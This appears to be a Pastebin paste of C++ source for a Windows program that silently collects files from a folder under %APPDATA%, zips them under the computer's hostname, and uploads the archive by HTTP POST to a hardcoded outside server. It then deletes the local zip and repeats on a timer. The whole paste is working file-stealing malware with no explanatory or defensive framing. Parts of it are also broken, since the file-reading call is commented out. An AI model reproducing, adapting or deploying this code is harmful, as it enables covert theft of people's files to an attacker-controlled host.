Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "miniz.c"
- #include <WS2tcpip.h>
- #include <Windows.h>
- #define HTTPSERVER "www.dateoutcast.com"
- #define HTTPPATH "/u/up.php" // get it from http://pastebin.com/UMs7R5fi
- #pragma comment(lib,"ws2_32.lib")
- #define sleeptime 10000 //miliseconds=12h
- SOCKET HTTPConnectToServer(const char * server) // By Anasazi
- {
- SOCKADDR_IN serverInfo;
- SOCKET sck;
- WSADATA wsaData;
- LPHOSTENT hostEntry;
- int i;
- WSAStartup(MAKEWORD(2, 2), &wsaData);
- hostEntry = gethostbyname(server);
- if (!hostEntry) return 0;
- sck = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (sck == INVALID_SOCKET) return 0;
- serverInfo.sin_port = htons(80);
- serverInfo.sin_addr = *((LPIN_ADDR)*hostEntry->h_addr_list);
- serverInfo.sin_family = AF_INET;
- i = connect(sck, (LPSOCKADDR)&serverInfo, sizeof(struct sockaddr));
- if (sck == SOCKET_ERROR || i != 0) return 0;
- return sck;
- }
- int HTTPUploadFile(char * szName, char * szLog, int size) // By Anasazi
- {
- SOCKET sConnection; int chars = 0;
- char szHeader[500],
- szDataEnd[] = "\r\n--WARPCRYPT--\r\n", szDataHeader[256];
- sprintf(szDataHeader, "--WARPCRYPT\r\n"
- "Content-Disposition: form-data; name=\"userfile\"; filename=\"%s\"\r\n\r\n",
- szName);
- sprintf(szHeader, "POST %s HTTP/1.0\r\n"
- "Host: %s\r\n"
- "User-Agent: WarpHTTP\r\n"
- "Content-Length: %d\r\n"
- "Connection: close\r\n"
- "Content-Type: multipart/form-data; boundary=WARPCRYPT\r\n"
- "\r\n", HTTPPATH, HTTPSERVER, strlen(szDataHeader) + strlen(szDataEnd) + size);
- sConnection = HTTPConnectToServer(HTTPSERVER);
- if (sConnection == 0) return 0;
- send(sConnection, szHeader, strlen(szHeader), 0);
- send(sConnection, szDataHeader, strlen(szDataHeader), 0);
- //printf("send(%s) log...", szName);
- send(sConnection, szLog, size, 0);
- //printf(" Done!\n");
- send(sConnection, szDataEnd, strlen(szDataEnd), 0);
- closesocket(sConnection);
- WSACleanup();
- return 0;
- }
- void HTTPBeginUpload(char szFileName[MAX_PATH]) // By Anasazi
- {
- FILE * f;
- char * fileData;
- __int64 nSize;
- #ifdef _DEBUG_
- printf("Starting uploading...\n");
- #endif
- f = fopen(szFileName, "rb");
- if (!f) return;
- fseek(f, 0, SEEK_END);
- nSize = ftell(f);
- rewind(f);
- fileData = (char *)malloc(sizeof(char)* nSize);
- if (!fileData) return;
- fread(fileData, sizeof(char), nSize, f);
- fclose(f);
- HTTPUploadFile(szFileName, fileData, nSize);
- #ifdef _DEBUG_
- printf("Uploading done & files deleted...\n");
- #endif
- free(fileData);
- return;
- }
- //void DisplayError(LPTSTR lpszFunction)
- // Routine Description:
- // Retrieve and output the system error message for the last-error code
- //{
- // LPVOID lpMsgBuf;
- // LPVOID lpDisplayBuf;
- // DWORD dw = GetLastError();
- // FormatMessage(
- // FORMAT_MESSAGE_ALLOCATE_BUFFER |
- // FORMAT_MESSAGE_FROM_SYSTEM |
- // FORMAT_MESSAGE_IGNORE_INSERTS,
- // NULL,
- // dw,
- // MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
- // (LPTSTR)&lpMsgBuf,
- // 0,
- // NULL);
- // lpDisplayBuf =
- // (LPVOID)LocalAlloc(LMEM_ZEROINIT,
- // (lstrlen((LPCTSTR)lpMsgBuf)
- // + lstrlen((LPCTSTR)lpszFunction)
- // + 40) // account for format string
- // * sizeof(TCHAR));
- // sprintf((char*)lpDisplayBuf, "%s failed with error code %d as follows:\n%s",
- // lpszFunction,
- // dw,
- // lpMsgBuf);
- //MessageBox(NULL, (char*)lpDisplayBuf, "ERROR", MB_OK);
- //LocalFree(lpMsgBuf);
- //LocalFree(lpDisplayBuf);
- //}
- int WINAPI WinMain(HINSTANCE inst, HINSTANCE prev, LPSTR cmd, int show)
- {
- WSADATA wsdata;
- WSAStartup(0x0101, &wsdata);
- WIN32_FIND_DATA w32fd = { 0 };
- char pAppDataEnvString[] = "%APPDATA%\\folder";
- char pTempEnvString[] = "%TEMP%";
- char pAppData[MAX_PATH] = { 0 };
- char pFilePath[MAX_PATH] = { 0 };
- char pZipFilePath[MAX_PATH] = { 0 };
- char* lpFileData;
- char hostname[MAX_COMPUTERNAME_LENGTH + 1];
- DWORD lwMax = MAX_COMPUTERNAME_LENGTH;
- DWORD dwFileSize;
- DWORD dwBytesRead;
- HANDLE hFind;
- HANDLE hFile;
- srand((unsigned)time(0));
- int random_integer = rand();
- char buffer[150];
- ExpandEnvironmentStrings(pAppDataEnvString, pAppData, MAX_PATH);
- strcat(pAppData, "\\*");
- hFind = FindFirstFile(pAppData, &w32fd);
- while ((GetFileAttributes(pAppDataEnvString)) != INVALID_FILE_ATTRIBUTES)
- {
- do
- {
- if (strcmp(w32fd.cFileName, ".") == 0 || strcmp(w32fd.cFileName, "..") == 0)
- continue;
- if (w32fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
- continue;
- ExpandEnvironmentStrings(pAppDataEnvString, pFilePath, MAX_PATH);
- strcat(pFilePath, "\\");
- strcat(pFilePath, w32fd.cFileName);
- Sleep(300000);
- hFile = CreateFile(pFilePath,
- FILE_GENERIC_READ,
- FILE_SHARE_READ,
- NULL, OPEN_EXISTING,
- 0, NULL);
- // if (hFile == INVALID_HANDLE_VALUE)
- // {
- // DisplayError("CreateFile");
- // }
- dwFileSize = GetFileSize(hFile, NULL);
- lpFileData = new char[dwFileSize + 1];
- // if (FALSE == ReadFile(hFile, lpFileData, dwFileSize, &dwBytesRead, NULL))
- // {
- // DisplayError("ReadFile");
- // }
- lpFileData[dwFileSize] = '\0';
- GetComputerName(hostname, &lwMax);
- ////////////////
- _itoa(random_integer, buffer, 10);
- //MessageBoxA(0, buffer, buffer, MB_OK);
- //////////////
- ExpandEnvironmentStrings(pTempEnvString, pZipFilePath, MAX_PATH);
- strcat(pZipFilePath, "\\");
- strcat(pZipFilePath, hostname);
- strcat(pZipFilePath, buffer);
- strcat(pZipFilePath, ".zip");
- Sleep(5000);
- if (mz_zip_add_mem_to_archive_file_in_place(pZipFilePath, w32fd.cFileName, lpFileData, dwFileSize, nullptr, 0, MZ_BEST_COMPRESSION) == MZ_FALSE)
- {
- MessageBox(NULL, "Unable to add file to Appdata.zip", "ERROR", MB_OK);
- }
- Sleep(5000);
- CloseHandle(hFile);
- delete[] lpFileData;
- } while (FindNextFile(hFind, &w32fd) != FALSE);
- FindClose(hFind);
- HTTPBeginUpload(pZipFilePath);
- DeleteFileA(pZipFilePath);
- Sleep(sleeptime);
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement